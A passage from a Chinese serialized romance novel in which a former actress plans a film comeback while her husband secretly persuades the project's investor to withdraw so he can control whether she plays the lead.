Golife和奇技公关部对今天的采访特别满意,拍出来的素材可以制作一期质量很高的长视频了。 这天晚上,睡觉前,应真拷问了宁君昊许久。她越发觉得有些不认识自己身边这个男人了,他简直像只城府深沉的老狐狸。 “你还有没有什么事瞒着我?” 应真撑着胳膊,看着微阖着眼,仰面躺在自己身畔的男人。 宁君昊比年轻时候话少了许多,有时候应真觉得自己在他旁边像只叽叽喳喳的麻雀。 果然,他没说什么,只翻身将她压在身下,开始解她胸口的扣子。 应真发现他对自己的身体比她想象的还要了解。而且比年轻的时候耐心更好。 她都已经两次了,他却迟迟没有实质性的动作,仿佛对她并没有那么迫切的欲望。 这让应真生出些许微妙的心思,她翻身坐在他身上,凑到他耳朵小声道,“你是不是不行了?今天不是说见我第一面就想娶我么?” 不知道是不是由于隔天是周末,两人都不需要早起,这一晚连应真都感觉他们似乎有些放纵得过头了。 她想看宁君昊失控的样子,但那一刻头他紧紧将头埋在她的肩窝里,就是不是给她看。 这一觉实在睡得太沉。以至于她错过隔天一大早黄书韵打给她的电话。 第25章 第25章“那就去会会吧。”…… 北市的秋天比兔子尾巴还短,一年到头能坐在户外喝咖啡聊天的时间实在太短暂。 周末的家鹊儿咖啡馆人又多,黄书韵和余平婉索性在室外找了张桌子坐下。 两人坐下来聊了会天,咖啡都喝完了应真才匆匆赶到,“对不起,余姐,我来晚了。” 原本昨天晚上宁君昊答应得好好的,他送女儿去上皮划艇课。结果一大早他又说临时有事要去公司,应真只能自己开车送女儿去俱乐部。 这一来一回就耽误了不少时间。应真一坐下来,忙不迭地跟余姐道歉。 她和书韵是自己人,用不着客套。面对余姐,多少还是有些忐忑的。毕竟,因为结婚息影的事,她跟余姐曾经爆发过几次激烈的争吵。 当年她和宁君昊的婚礼,余姐因为工作在身没有出席,但还是让人送来了礼金。应真一直觉得自己怪对不起她的。 从应真进门开始,余平婉便忍不住一直打量她。这些年除了过年例行的拜年短信,她跟应真没有什么联络。虽然同在一个城市,但真的好多年没见了。 应真穿了件皮衣,头发梳成麻花辫垂在胸前。除了脸上多了些皱纹,她和十几年前并没什么太大变化。 余平婉有些恍惚,脑中闪过应真婚前,两人最后一次在公司见面的场景。依稀记得那也是个秋天,两人坐在当时公司楼下的花坛前。 余平婉一根接一根地抽烟,应真则诉说着她对余平婉的羡慕,“余姐,你不知道我多羡慕你在北市有自己的家,有孩子有丈夫……” 那时候余平婉的儿子刚刚五岁。她很少跟应真说自己婚姻的真实情况,那天却把婚姻所有难堪丑陋的真相都对应真和盘托出。 孩子生下来后,余平婉跟丈夫的感情急转直下。丈夫下班了宁愿呆在公司,也不回家。孩子全是她和婆婆在照顾。余平婉自己也是职业女性,一边上班一边还要照顾孩子,她觉得在育儿这件事上,丈夫除了贡献精子,什么也没有付出,完完全全是在剥削她。夫妻俩因为带孩子的事吵了无数次架,几次都到离婚边缘。 那时余平婉对婚姻心灰意冷,便忍不住用过来人的口气劝应真慎重,毕竟她才二十五岁。人生漫漫几十年,还怕以后给人当妈的时间不够长么? 可惜应真当时已经决定嫁给宁君昊了,“余姐,他既然愿意娶我,我也是心甘情愿地想要嫁给他。总要让我赌一赌。不管结果如何,我愿赌服输。” 到现在余平婉还记得应真当时脸上决绝的表情。婚后,果然像她说的那样,她彻底退圈了,回归家庭当一名全职太太。 这些年余平婉很少联系应真,不想打搅她的生活。但今天看到她状态这么好,还是替她高兴。 余平婉是在跨入三十大关的时候结婚的,那几年她像是得了失心疯,整天愁着三十岁之前把自己嫁了。最后找了个她觉得老实靠谱的男人结婚,结果被“啪啪啪”打脸。 不过她运气不好,不代表应真运气不好。人家二十五岁就找到情投意合的金龟婿,想结婚了,为什么不可以结?她要是二十五岁,一个人在北市打拼,遇到宁君昊那样的男人,说不定她也结了。 …… 服务员将应真点的咖啡送上回来。余平婉收回思绪:“书韵说你打算复出拍电影,我还以为她随口说着玩的。你这是真打算复出了?” 应真从余姐的语气里听出来,那事她早已经翻篇了,语气不由轻快起来:“我看了结婚十年的小说,就特别喜欢。听到黄书韵说她打算拍电影,我就厚着脸皮要求出演女主角了。” 这话黄书韵可不同意:“你咋厚着脸皮了?我这小说女主就是按照你写的,你不演谁演啊?” 余平婉说起前几天的热搜:“靳年那天把你们合影发到网上,好多人说你老公公司不行了。我直接在底下回复了,先查查人家老公是干什么的。” 余姐还像以前当经纪人时一样,说话爽利得很。应真忍不住抿唇笑。 她退圈后没多久,余姐开始转型做制片人,大大小小的项目做了不少。先前干的公司换了老板,高层大换血,余姐被晾到一旁,接到手的都是别人不要的项目。她觉得没意思,便辞职了。 余姐如今到了半百的年纪,跟前夫早就离婚了,儿子已经大学毕业参加工作。这些年她累死累活当牛做马攒了些钱,后半辈子躺平完全没问题。 不过倒底是忙碌惯了,休息了几个月就开始闲得慌。小区广场舞大妈群她融不进去,又没别的兴趣爱好。所以当黄书韵跟她提,想找她一起开公司做项目,并且把项目书发给她,拉她入伙。 余平婉思考了两晚上,第三天就回复了:“好。一起干。” 三个人坐在咖啡馆门口,聊着《结婚十年》的剧本和选角。除了女主,书里两个跟女主有情感纠葛的男性角色很重要。一个是女主的前夫,一个是女主的上司。这两个男性角色跟应真饰演的女主都有很重要的感情戏。 黄书韵已经有意向人选了,不过最终还要选角会结束后才能定下来。 她拿出自己草拟的合伙协议:“这只是初步协议,你们先看看。咱们商量好了,再找律师拟最终协议。” 应真和余平婉大致翻了翻,看到黄书韵在协议里提出三人各占三分之一股份,都觉得黄书韵占的太少。毕竟《结婚十年》这个IP是她的,而且那两千万投资也是她的人脉拉过来的。 黄书韵摆了摆手:“我只是个牵线搭桥的。两千万折成美元还不到三百万。我那个大款同学也说这笔钱对他来说不算什么。况且人家也不是看在我面子上才投的。” 余平婉很诧异:“那是你同学哎。不看在你面子上,看在谁面子上?” 黄书韵撑着下巴冲应真眨了眨眼:“人家上飞机前特意打电话给我。明天签协议,一定要带上你,摆明是冲你来的。” 应真以前当演员见过的资方可不少,她觉得黄书韵想得太简单了:“他八成觉得自己是金主,来看看我这个女主角是不是合适。说不定他那头有中意的人选。” 余平婉神色淡了下来:“黄书韵不是说他是搞计算机的吗?外行就别来指挥内行了。如果他要干涉咱们具体选角和拍摄的事,那这个钱还得再掂量掂量。” 黄书韵扬了扬眉,对应真道:“他钱都打给我了,现在才来说选角的事?我肯定不可能答应!我这个高中同学在Q大念了两年大学,第三年才去美国的。说起来他还是你老公的学弟呢。你是忘了你当年在Q大有多火。说不定他就是看在女神要复出拍戏的份上才投钱的。” 应真这两天反复被人提起当年Q大的事,都觉得有些麻木了。再火也是二十年多前的事了,有几个人记得? 她拍了拍闺蜜的手,柔声道:“书韵,你为什么就不能坚信人家是看在你的才华上投资的呢?余姐经手的剧本那么多,她都说你本子写得很好。我说的你不信,她说的你总该信了吧?” 黄书韵耸耸肩:“也许吧。高中那会我写小说在班上传阅,他每次都抢着看。现在人家发达了,拔根汗毛都不只三百万美金,砸给知根知底的同学,搞点投资,也没什么。” 余平婉经纪人当惯了,下意识想保护自己身边的人:“有钱人的想法千奇百怪,咱就别在这瞎猜了。他不是今天从内蒙过来吗?是骡子是马,明天去会会就知道了。管他什么原因,见面吃个饭聊聊天可以,别的可别想了。这两千万肯定不让他白投,到时候该分多少绝不含糊。” 趁着三人都在,大家把公司的名字敲定下来,创梦。 创造梦想。 敲定下来后,三个女人都意犹未尽。可惜应真还要去俱乐部接女儿下课,只能就此打住。 * 周末宁君昊和周添一起在公司接待了个两个香港过来的投资人。 四个男人在宁君昊的私人雪茄室聊了一整天。宁君昊已经戒烟好久了,但那两个投资人都是雪茄爱好者。一天下来,他陪着抽了几根,感觉自己都腌渍入味了。 晚上两个香港佬另有安排,宁君昊一看时间还早,准备在游戏室跟周添一起测试刚更新的最新版本的《时光之烬》。 周添嘿笑拒绝:“今天晚上有约,我们班同学聚会,我得去参加。” 宁君昊上大学的时候,独来独往,很早就从宿舍搬出去了,跟班上同学交流不多,他对这种同学聚会向来嗤之以鼻。周添正好相反,在大学就是社交狂魔,现在是Q大校友会副会长。 看周添收拾东西准备走,宁君昊突然想起一件事,“你在圈子里有没有听过,有美国搞IT的回国,在内蒙那边买了农场的?” 周添在圈子里消息渠道比较多,听宁君昊这么一问,立刻知道他说的是谁了,“你说的是秦毅吧。你打听他干嘛?” 宁君昊坐在那儿,手里正拨动着一个三阶魔方,闻言抬起眼皮看着他:“秦毅?你认识他?” 周添感觉他扫过来那一眼有点瘆人,下意识点头道:“他跟我同班同学啊。我记得我跟你说过,我们班有个人大二还没念完就退学去美国了,后来被CMU录取了。那小子是玩币的高手,大学毕业后跟人创业搞语音识别系统。搞了几年公司上市了,他不知怎么想的,把股票全卖了,突然回国。我以为他回国是想在国内创业呢,还联系过他。没想到他一头扎进内蒙,买了个农场玩,现在在那边当农场主。” 宁君昊没吱声。到了他们这个级别,圈子其实并不大。打听个人很容易。周添这么一说,那应该八九不离十。 周添比他低三届,秦毅跟周添同班,那就是也是02级的。宁君昊没想到,兜兜转转最后是Q大师弟投资了老婆复出的项目。 宁君昊手里的镀铬魔方快被他拧成麻花。 周添看他面无表情地坐在那儿摆弄着魔方,也不知道在想什么,忍不住啧的一声,“你要是想认识秦毅,晚上就跟我一起去吃饭。他刚来从内蒙过来办点事,待两天就回去了。” 宁君昊将魔方扔到一边,神色淡淡地开口道:“那就去会会吧。” 第26章 第26章秦毅瞬间明白自己好像不…… 周添他们每次校友聚会都选在东郊的一家私人会所。 会所老板姓许,本身就是Q大校友会的成员,里面环境布置和装修设计都花了不少心思。他们每回来菜单都不一样,有特制的宫廷菜,江浙请来的大厨做的淮扬菜,还有外头流行的分子料理,花样繁多,全看老板最近好哪一口。 今天会所里的气氛又不一样,周添和宁君昊一进门,就闻到浓郁的孜然香气。 高档奢华的餐厅空荡荡的,人全跑到餐厅外头的庭院里。许老板在庭院里布置了个露营区,架起几个烧烤架,案板上摆着整只的羊和猪,几个烧烤师傅切肉的切肉,烤肉的烤肉,忙碌得不亦乐乎。一旁还架了口巨大的锅,热腾腾的汤汁翻滚着,里头正煮着羊脊骨和羊肋条。 一边是禅意十足的日式枯山水,一边是内蒙空运来,刚放完血的整羊整猪。视觉感官反差拉满,偏偏许老板觉得这才有意思。 来参加聚会的校友陆陆续续来了。小圈子聚会,绝大多数都是熟面孔。许老板看到周添领着身形高大,有点眼生的男人进来,忙迎上来打招呼。 他跟周添是老熟人了,在学校的时候就很熟,都熟了十几二十年了。这会看到周添和他旁边的男人都是一身正装,一看就是刚工作完直接过来的。 许老板目光在两人身上转了转,灵光一闪突然反应过来,“周总,你这是把宁师兄带来了?” 他虽然不是Q大计算机系的,但对计算系出来的几个大佬也都多多少少听过,知道现在很火的奇技游戏公司当年是宁君昊跟周添一起创办的。 宁君昊,奇技CEO,Q大肄业。据说因为大四缺课太多,学校最后扣着毕业证没发。偏偏宁君昊也是块硬骨头,就是不肯向学校低头,拿了个肄业证就走人了。 现在奇技成了国内最火的游戏公司之一,宁君昊当年的事迹在Q大也成了传说。外头人都以为他是Q毕业的高材生,只有Q大内部人才知道他当年是肄业的。 奇技火了这么多年,Q大屡次邀请宁君昊去开讲座。不知道是因为当年毕业证的心结,还是什么别的原因,宁君昊把Q大的邀约全都回绝了,连公开的校友活动,也极少参加。 许老板跟周添打完招呼,又跟宁君昊打招呼:“宁师兄你好,我是Q大经营系的,我叫许海鹏,比你低三届。” 宁君昊对这个许海鹏没什么印象,不过路上周添已经跟他大概说了一下。许海鹏在学校念书时就是有名的富二代,毕业后一直鼓捣跟吃有关的生意,现在在全国好几个城市都有自己的会所。 宁君昊冲他点点头,“听周添说许老板这地方不错,我跟他一起过来长长见识。” 这话把许老板搞得有点尴尬,忙道:“是宁师兄贵人事忙,平时校友会我们经常谈起宁师兄。每次让周总聚会时喊上你,他都说你忙。” 周添看那块露营区明显是刚布置的,炭火燃烧的烟火气让这个以奢华闻名的会所多了几分人味:“你们今天在这整啥呢?烤全羊啊?” 许老板今天心情很好,“今天大伙有口福了!宁师兄也来得正巧,Ethan从内蒙回来了,带来几只正宗的乌珠穆沁羊和他农场自产的韭菜花酱。今天他请客,羊肉管够!” 校友聚会本来就是轮流请客坐庄。周添也没少请,不过秦毅难得来北市一趟,按理说该他们请他吃饭。 “Ethan呢?”周添四下张望,没看到秦毅人。 “刚才还在呢。可能跟他们去里头玩了。”许老板看了眼手表,“已经说好了,七点钟准时开吃。” 许老板的私人会所,温泉室、室内高尔夫、私人影院、棋牌室、茶室、酒窖应有尽有。周添看时间还早,宁君昊不容易来一趟,便逮着他去高尔夫模拟室,让他教自己几招。 宁君昊前几年热衷打高尔夫,球技不错。周添也玩过一阵子,但球技实在上不了台面。他一直想跟宁君昊偷师,然后在这群人面前露一手。 可惜室内模拟器跟草地太不一样了,周添玩了几局都没找到手感,打得一塌糊涂。摸拟器对动作捕捉太敏感了,稍微力大力小一点就偏差很大。 宁君昊耐着性子跟他解释模拟器的距离计算逻辑,倒底是学计算机出身的,周添很快便搞懂了怎么用测距仪来判断击球力度,一下子就悟了。 他进入状态正上头,许老板就打电话过来了,烤全羊和把子肉都做好了。两人也饿了,一起出去吃饭。 刚才还没什么人的露营区这会坐了不少人。那块放整羊的案板后头,一个皮肤黝黑的男人正站在厨师的位置,用一把很锋利的折叠刀切着肉,动作非常利落潇洒。 他相貌谈不上英俊,但五官锐利硬朗,很有男人味。来参加校友聚会的几个女人都站在一旁看他切肉,围着他问各种事。 “你那农场是不是在锡林郭勒?明年夏天我们要是去那找你玩儿,你包吃住的吧?” 男人晃着一白牙:“那还不是一句话的事。” 周添朝那人努努嘴,对宁君昊道:“他就是秦毅。你以前在学校应该见过他的。” 宁君昊站在那儿打量那男人几眼,淡声道:“没什么印象。” 周添过去跟秦毅打招呼,“Ethan,你来北市怎么不跟我打电话?我还是在群里看到老许说,才知道你来了。” 秦毅在Q大只念了两年书,跟周添是同班同学,见面比别人多了几分亲热。他扔下手里的刀,就着旁边的自来水洗了个手,一把把周添薅过来,“上回联系你,你不是说你游戏上线,忙得跟鬼打墙一样,我以为你现在还忙着呢。” 周添想起自己上回确实跟秦毅吐槽过几句,怕他又说出什么不该说的话,忙扯着他跟宁君昊认识。 秦毅也早注意到宁君昊,正寻思这大高个男人是谁,听周添介绍完,伸出手来跟他握手,“宁师兄你好!我叫秦毅,你叫我Ethan就行了。我跟周添以前是同班同学。你们那个幻镜之门,我特别喜欢玩,都不记得自己玩通关多少回了。” 幻镜之门已经是奇技十年前的产品了,宁君昊眼里浮出一抹淡笑:“你可以玩玩我们最近推出的时光之烬,它是我们现在的主推游戏。” 秦毅挠挠头,咧嘴一笑:“我那地方网不行,游戏根本玩不起来。等我先把我那网络改进一下。” 宁君昊第一次来许老板的会所,再加上最近外头很多奇技IPO的传闻,他自然成了今天来参加聚会的校友们的焦点,不时地有人抛话题给他。 宁君昊一改平日冷淡模样,几乎有问必答。虽然答得很简短,倒也不至于冷落谁。 许老板特意从酒窖里拿出两瓶珍藏的红酒招待大家,又催厨师多上点肉过来。秦毅也不忙活了,端了盘煮好的手把肉,又拿了罐韭菜花酱过来,放在周添和宁君昊面前。 “这是我农场养的羊,还有这酱,地道的内蒙风味,外头尝不到的,你们试试。” 他穿了件黑色夹克,脚上踩着登山靴,一身休闲打扮,大喇喇往露营椅上一坐,跟这环境瞬间融为一体。反倒周添跟宁君昊两人衣冠楚楚地从公司过来,和这个环境格格不入。 周添看一旁宁君昊已经脱了西装,解开领口扣子,挽起了衬衫袖子。再看看自己,这一身在这儿像个房屋中介似的,他赶紧把自己西装也给脱了。 宁君昊吃了几口羊肉,品质确实很不错,肉质细腻,脂肪分布均匀,有淡淡的奶香味。 周添忍不住问秦毅:“你突然从内蒙跑到北市来干嘛?不会是为了参加这个同学聚会吧?” 秦毅靠在椅背上,晃着杯子里的红酒,漫不经心地开口:“心血来潮投资了个小项目,回来见见项目负责人。” 他个头没有宁君昊高,但体格魁梧,那露营椅在他屁股底下显得格外娇小。宁君昊抬头看了他一眼:“什么项目?” 秦毅似乎并不欲多聊,只道:“微不足道的小项目。你们肯定看不上的。” 巨大的话筒声打断了他们的谈话。那头不知道谁把音响抬出来了。许老板千挑万选的丹麦音响,被一群人拿来当KTV音响使,一开口全是当年在学校很火的歌。 大概聪明人学什么都比别人容易,这些最高学府毕业的学生里没有书呆子,好几个吹拉弹唱都能来一点。参加校友聚会,喝了点红酒都开始上头,从《黄昏》、《飘摇》唱到《雨一直下》。 周添被这个气氛感染了,也跑过去抢话筒开始唱《单身情歌》,引来嘘声一片。 “你都结婚多少年了。现在这,估计只有我有资格唱这个歌。” 秦毅带头起哄,他是回国后才跟Q大校友圈有了来往,本身不是个好打听的人,也只对周添的个人生活了解一点。 周添才不管底下起哄呢,他执着地要将整首歌唱完。 秦毅看他这样,一会吹口哨,一会鼓掌。宁君昊本来有话要跟秦毅说,这音乐声太大没法开口。 手里电话响了,他走到一旁去接。等他回来后,秦毅主动提出加联系方式。刚加上好友,身后的音响突然传出来《一生有你》。 秦毅站起来,冲上去从周添手里抢话筒,“这首歌我要唱。” 周添连唱两首,嗓子快冒烟了,过来在宁君昊旁边坐下,拿起桌上的饮料往嘴里倒。 露营区有个小小舞台,秦毅搬了把高脚凳坐在上面,两条长腿随意踩在凳子横档上,手里拿着话筒,上半身微佝着,唱得很投入: “多少人曾经爱慕你年轻时的容颜,可知谁愿承受岁月无情变迁。多少人曾在你生命中来了又还……” 周添随口道:“这歌我们那时候好火啊。当时觉得挺土的,现在听还蛮好听的。我记得你老婆来Q大办见面会还唱过。当时礼堂几百号人,全员大合唱。” 到了他们这个年纪,已经很少追忆过去。周添这是今天参加校友聚会,才想起当年学校里很多事。他絮絮叨叨说着,浑然没注意一旁宁君昊一直没说话。 等秦毅唱完下来,周添忍不住问他:“你现在还是一个人啊?没找女朋友?” 秦毅将脚翘在一旁的塑料框上,给自己点了根烟,“嗯。暂时不想找了。女人太麻烦了。” 他回国前,前女友跟他提出分手,两人分得挺难看的。现在他对交女朋友一点提不起兴趣。 周添拍了拍他的肩膀:“以你的条件,要找女朋友分分钟的事。” 秦毅摆手:“算了。现在谁愿意跟我去内蒙当农民啊?没几个女人吃得了那样的苦,我还是别祸害人家。你知道我刚才唱这个歌想起什么吗?” 周添:“想起什么?” 秦毅:“想起那年在西苑礼堂。有个叫应真的女演员来咱们学校搞见面会,一群人鬼哭狼嚎差点把礼堂都给掀了。活动结束后还追着人家要联系方式,我记得我当时在Q大上学每天都想死,躺在宿舍没事干,前前后后往人家邮箱了发过十几封信吧。那女演员真的人很好,几乎每一封都回了。她不仅回了,还在信里说了很多鼓励的话。” 周添:“……” 秦毅当年在学校状态不好,他是知道的。不是因为状态不好,他也不会休学去美国。但他真不知道秦毅跟宁总太太还有这么一段。 周添飞快地瞥了眼一旁的宁君昊。只见刚才还在看手机的宁君昊,正掀起眼皮看向秦毅。 秦毅哪里知道应真是宁君昊的老婆。他是最近在朋友圈看到高中同学发的项目书里出现了熟悉的名字,才又回想起当年的事。 很多事情,对他而言就是一念之间。当年给那个叫应真的女演员写信,和现在花三百万美元投个可能没啥回报的项目,对他来说也没有太大区别。 秦毅将自己窝里露营椅里,悠悠开口道:“要不是她,我当年可能真的在Q大跳楼了……” 一直沉默的宁君昊露出极淡的笑容:“Ethan,应真现在是我太太。需要我把你刚才说的话转告她吗?” 空气安静了一瞬,紧接是什么东西的碎裂声。秦毅的登山靴将那个装蔬菜的塑料框给踩碎了。 他有些发懵,对上宁君昊那双似笑非笑的眼睛,半晌才回过神,不由面红耳赤起来:“Hey,man!不是吧?你是怎么把她娶到手的?” 宁君昊的笑容一点点收起,神色变得严肃:“Ethan,其实我今天来这,就是来找你的。我知道你刚投了我太太参与的电影项目。” 男人都是领地意识极强的动物。秦毅瞬间明白自己好像不小心把手伸到宁君昊的领地了。 他有些发窘:“我不知道应真是你太太。如果知道的话,我不会投。” 第27章 第27章宁君昊不喜欢听别的男人…… 当年给他回信,鼓励他活下去的女孩,现在竟然是宁君昊的太太,秦毅尴尬了一分钟。 有那么一瞬间,他感觉自己的智商是零,好在他马上反应过来——原来,宁君昊今天是来跟他聊他刚投的那个影视项目的。 秦毅虽然没跟这个大他三届的师兄打过交道,但从周添那多少也听说了一些。 宁君昊一向目下无尘,为了自己太太的事,竟然特意跑到校友聚会来找他,足可见他对他太太的重视。 周添还有些不明就理,当着宁君昊的面问秦毅:“为什么知道应真是他老婆,你不投啊?” 秦毅给了他一个“你是不是傻”的眼神,“宁师兄把Q大男生的女神娶回家了,金屋藏娇这么多年。现在太太想复出,他八成是想自己投资。” 宁君昊听到“金屋藏娇”四个字,忍不住扶额。如果应真在,她肯定会跟Ethan吵上一架,她很讨厌这个词。 秦毅在草原待的时间长了,打交道的都是牧民,有什么说什么,不爱绕弯子,“师兄,你今天过来,不会真的是想跟我聊我刚投的那个小项目吧?你这是打算进军影视行业了?” 长年在草原风吹日晒,他的皮肤是很健康的古铜色,不笑的时候是有些冷酷薄情的模样,一笑起来又极具感染力。这让他和今天来聚会的人,看上去都不一样。 有一种在大城市里待久了的人身上没有的活力。宁君昊在年轻的妻子身上也感受到这种活力。 他并不想聊太多自己与应真的事儿,但到这个时候得适当坦露自己才能达成合作,于是他扯了扯唇角,“不瞒你说,我到现在还没看过我太太那个项目的计划书。她不太愿意我插手她工作上的事。” “项目书也不是什么保密的东西。我发给你。”秦毅拿出手机,把黄书韵发在朋友圈的文档发到宁君昊的手机上。 他将那只被自己踩烂的的塑料框踢到一边,已经是一副在商言商的面孔:“师兄,我回国后一直在寻找合适的投资项目。之所以投她们这个项目,最主要的原因当然是因为黄书韵。她是这个IP的持有者。毕竟是高中同学嘛,我还是挺了解她的,她是个很有才华的编剧。这么一部低成品制作,赚可能不会赚太多,但亏本也亏不到哪去。我是把它当成我回国投资的试水项目。如果回报率不错,说不定以后我就继续在影视圈找项目投了。” 大家都是开过公司的,秦毅这话已经说得很开了。虽然他有一半是在胡说八道,宁君昊不一定信,但无所谓。这个项目对他来说,就是心血来潮试个水。 到了这个年纪,他相信能量守恒。钱不在这个地方花掉,自然会在别的地方花掉。在美国玩得最疯的那几年,他身边女伴换个不停,送房子送车子一点不手软。 相比之下,投给黄书韵的那笔钱,对他来说,可能算这些年比较正常的一笔花销。 不过他再放纵不羁,也是个商人,“我是第一次投这种项目。黄书韵她们也是第一次独立做电影项目。我对这笔投资的唯一要求是,必须建立共管帐户。帐户我已经让律师帮我开好了,钱也打过去了。一旦项目正式启动,她们资金支出需要我的授权。我会根据拍摄进度,按阶段释放资金,这样也是对她们负责。” 宁君昊在手机上快速浏览完项目书。来的路上他还有一丝犹豫,此刻已经有了决断。他放下手机,单刀直入地开口:“Ethan,我希望你能撤资。我太太这个项目我想自己来投。” “撤资?” 秦毅右手搭在扶手上,香烟的火星在指尖闪烁。他看着宁君昊,脑中却浮现出一个长发女孩形象。这么多年,那女孩样貌越来越模糊了,只记那双笑起来弯弯的眼睛。 宁君昊一脸志在必得。秦毅吸了一口烟,唇角弯了弯:“师兄,应真不是不想你插手她的项目吗?你为什么要绕这么大的圈子,非要自己来投?还是说你不放心别人来当这个投资人,非得自己投才放心?” 宁君昊不跟他兜圈子了,“我跟应真结婚后,这十几年她一直在家里当全职太太。现在女儿长大了,她想找点事情做,我很赞成。但是我不希望她重新回到幕前当演员。所以,这个项目她可以参与,但不是以女主角的方式。你撤资后,我会找人出面投资她们的项目,前提是女主角不能是我太太。” 秦毅“嘶”的一声,用力挠了挠自己又粗又硬的发茬,有些发愁的表情:“你不怕应真怨恨你啊?我觉得她是那种一旦决定了,别人很难改变的人。” 这么多年过去了,他还记得她在邮件里说过,拍《孤影江湖》时,一开始制片人一直想把她换掉,觉得她的形象太过温柔了,不适合电影里冷酷的杀手。电影都已经开拍了,导演还在不停地面试女演员。她每天像惊弓之鸟一样,焦虑得根本睡不着。为了证明自己适合,她每天都要比别人多花几个小时苦练眼神和动作。 宁君昊不喜欢听别的男人来论断他太太是哪种人,他神色淡了下来,“这个你不用担心。你只管退出项目就行了,我会让专业的影视公司代我去投资。她发现不了。” 话都说到这个份上,秦毅还能说什么。应真毕竟是宁君昊太太,他坚持要投,显得好像他有所图一样。 指尖的烟蓄了一截长长的烟灰,秦毅将烟头的灰掸去,猛吸最后一口,“我再想想。明天上午答复你。” * 和余姐、黄书韵见过面后,应真的心情很好,感觉自己像是被重新注入了能量。 这段时间,她深刻地感受到四十岁的自己天地有多狭小,每天一睁眼就是各种身为妻子身为母亲的责任。她太需要给自己这一成不变的生活带来一些变化了。 以至于去俱乐部接女儿的路上,应真的心情都特别好。 宁颐然练习了两个小时,换好衣服从俱乐部出来,已经饿得前胸贴后背了。 她在门口等了一会,妈妈才来。往常妈妈来接她的时候,都会带着吃的给她先垫垫肚子,然后再带她去附近的商场吃饭。 今天妈妈竟然两手空空地来接她,宁颐然最近积攒的各种情绪在这一刻终于崩不住了。她用力甩上后座的车门,冲妈妈大发脾气:“有你这样当妈的吗?你知道我练了一上午有多饿吗?你要是连这个都不记得,那也不用来接我了!我又不是不能自己打车回去!” 最近各种细细小小的事情像看不见的钢针,扎得宁颐然难受极了,一股说不出的憋屈在胸口蔓延开来。于是,她把最近妈妈不给她准备在学校喝的水。自己有事不能送她去学校,连句解释都没有。什么事情都不问她意见,连个商量都没有。林林总总,一股脑全说出来了。 应真坐在驾驶座,正准备发动汽车。听到后座的女儿越来越激动,嗓门也越来越大,到最后完全是在发泄情绪。 她转过头,看着女儿因为生气而涨红的脸,小姑娘眼里溢满了委屈和愤怒,“你就是想借机报复我!” 应真被女儿说得发懵,脑门嗡嗡响,“我怎么借机报复你了?报复你对我有什么好处?” 她确实没有办法像四十岁的自己那样把女儿疼在骨头里,女儿这种心理落差她能理解。 但她说自己借机报复她,应真就觉得莫名其妙了。不管怎么样她是个成年人,面对一个十四岁的孩子,她只能用尽可能冷静的语气道:“我今天去跟朋友见面,来的路上有点赶,确实没来得及给你买吃的。我知道你饿了,开车去附近的商场吃饭,最多也就几分钟时间。现在不都可以在手机上点吗?你先看看想去哪家餐厅吃饭,等会停好车我们直接过去。” 妈妈虽然在跟她解释,但宁颐然从她的话里听不出一丝歉意。她越发生气了,黑着脸从包里拿出耳机,塞进耳朵里,一句话也不想说。 这一顿午饭吃得母女俩都不是滋味。回到家里后,宁颐然还是像以前一样把自己关在房间里,不出来了。 应真这大半天功夫跑了几个地方,出了几身汗,身体说不出的疲乏。上楼卸了妆,洗了个澡,戴上眼罩,倒头便睡下了。这一睡也不知道睡了几个小时,再醒来外面天都黑了。 醒来的那一瞬,应真有些恍惚,一时不知自己是谁,不知道自己身处何处。她挣扎着起来,拧开床头灯,看着床头相框里相片才回过神来。照片里她抱着才百天的女儿,偎在宁君昊的怀里,一脸幸福的笑容。 然而下一秒,看到床头电子钟上的时间,应真吓得从床上跳了起来。都已经这么晚了!她还没给女儿做饭! 宁君昊推门进来,看见她醒了,“刚才我妈打电话给我,说然然去她那了。国庆假期这段时间,她想在奶奶家玩。” 应真松了口气,一屁股坐在床上。 “怎么了?跟然然吵架了?”宁君昊走过去揽住她的肩,“我听我妈说,女儿到她那的时候,眼睛红红的,像是哭过了。问她什么又不肯说。” 应真叹了口气,有些无助地捂住脸,“我觉得我还是找个时间,把发生在我身上的事跟然然说一下吧。这些天我努力尝试过了,但我终究不是她妈。我没有经历生她养她的过程,我做不到像亲妈那样细致入微地照顾她……” 她像个旁观者一样说她和女儿之间的事,仿佛她可以随时从他们的生活里抽离一样。宁君昊不想听她说这个,耐着性子劝她:“你现在没跟女儿说,她已经难受得不行了。你觉得你要是跟她说你不是她妈,你现在只有二十五岁的记忆,她对你来说,比陌生人好不了多少。你觉得女儿接受得了吗?” 应真沉默了。这么说,对一个十四岁的孩子好像确实有些残忍。 宁君昊揽着她肩的手不由自主地加重力度,“我一直没有跟你说过,然然生下来头两个月,你一次都没有抱过她。是后来月嫂走了,你开始自己带,才渐渐找到当母亲的感觉。你现在才来多久?再给自己和女儿一点时间好不好?” 跟他讨论这个问题,就像一拳打在棉花上,一种说不出的无力感。 此刻被宁君昊揽在怀里,应真闻到他衣服的烟味,一把将他推开,眉头皱了起来:“你不是说你戒烟了吗?” “我确实戒了。今天见了两个投资人。他们都抽烟,一起聊事情,我衣服肯定也沾了烟味。” 宁君昊边说边起身去浴室洗澡。 女儿去婆婆那了,宁君昊吃过了。不用考虑孩子吃什么,应真的晚饭自然能多简单便有多简单。先前卤了一大块牛腱子肉,切几片再配点黄瓜和芦笋,就行了。 宁君昊下楼来,看到应真坐在岛台那吃晚饭。她穿着睡袍,光着脚踩在高脚椅的横档上,那脚踝纤细得仿佛可以轻易折断。 他想起今天秦毅说的那些话,那股醋意又翻涌上来。 其实那次见面会,他也把应真的邮箱记下来了。但他自始至终并没有发过邮件给她,他不知道写什么,他并不是个善于言辞的人。而且他觉得应真拍戏那么忙,那么多人发邮件给她,她哪里看得过来,肯定是经纪人在替她打理邮件。 即便自己发邮件过去,也是淹没在一堆Q大男生求爱邮件里头。他是个骄傲的人,他不觉得有这个必要。 他没想到的是,那个邮箱真的是应真的私人邮箱。而且她竟然认真地回复每一封影迷的邮件,还给秦毅回了十几封。原来在他不知道的时间里,那些男生当中有人比他更早得到应真的注意。 一想到这个,他又开始泛酸。 宁君昊走过去,给自己倒了一杯水,挨着应真坐下,把平板放在她面前。 “今天GOlife把粗剪的视频发过来了。” 应真立刻来了兴趣,打开看了起来。不得不说,专业媒体就是专业媒体,灯光打得很好,她在镜头里状态不错。 然而看了没几分钟,她便开始笑个不停,“宁君昊你真的太假了。你看这一分钟不到,就给了婚戒几个镜头了?” 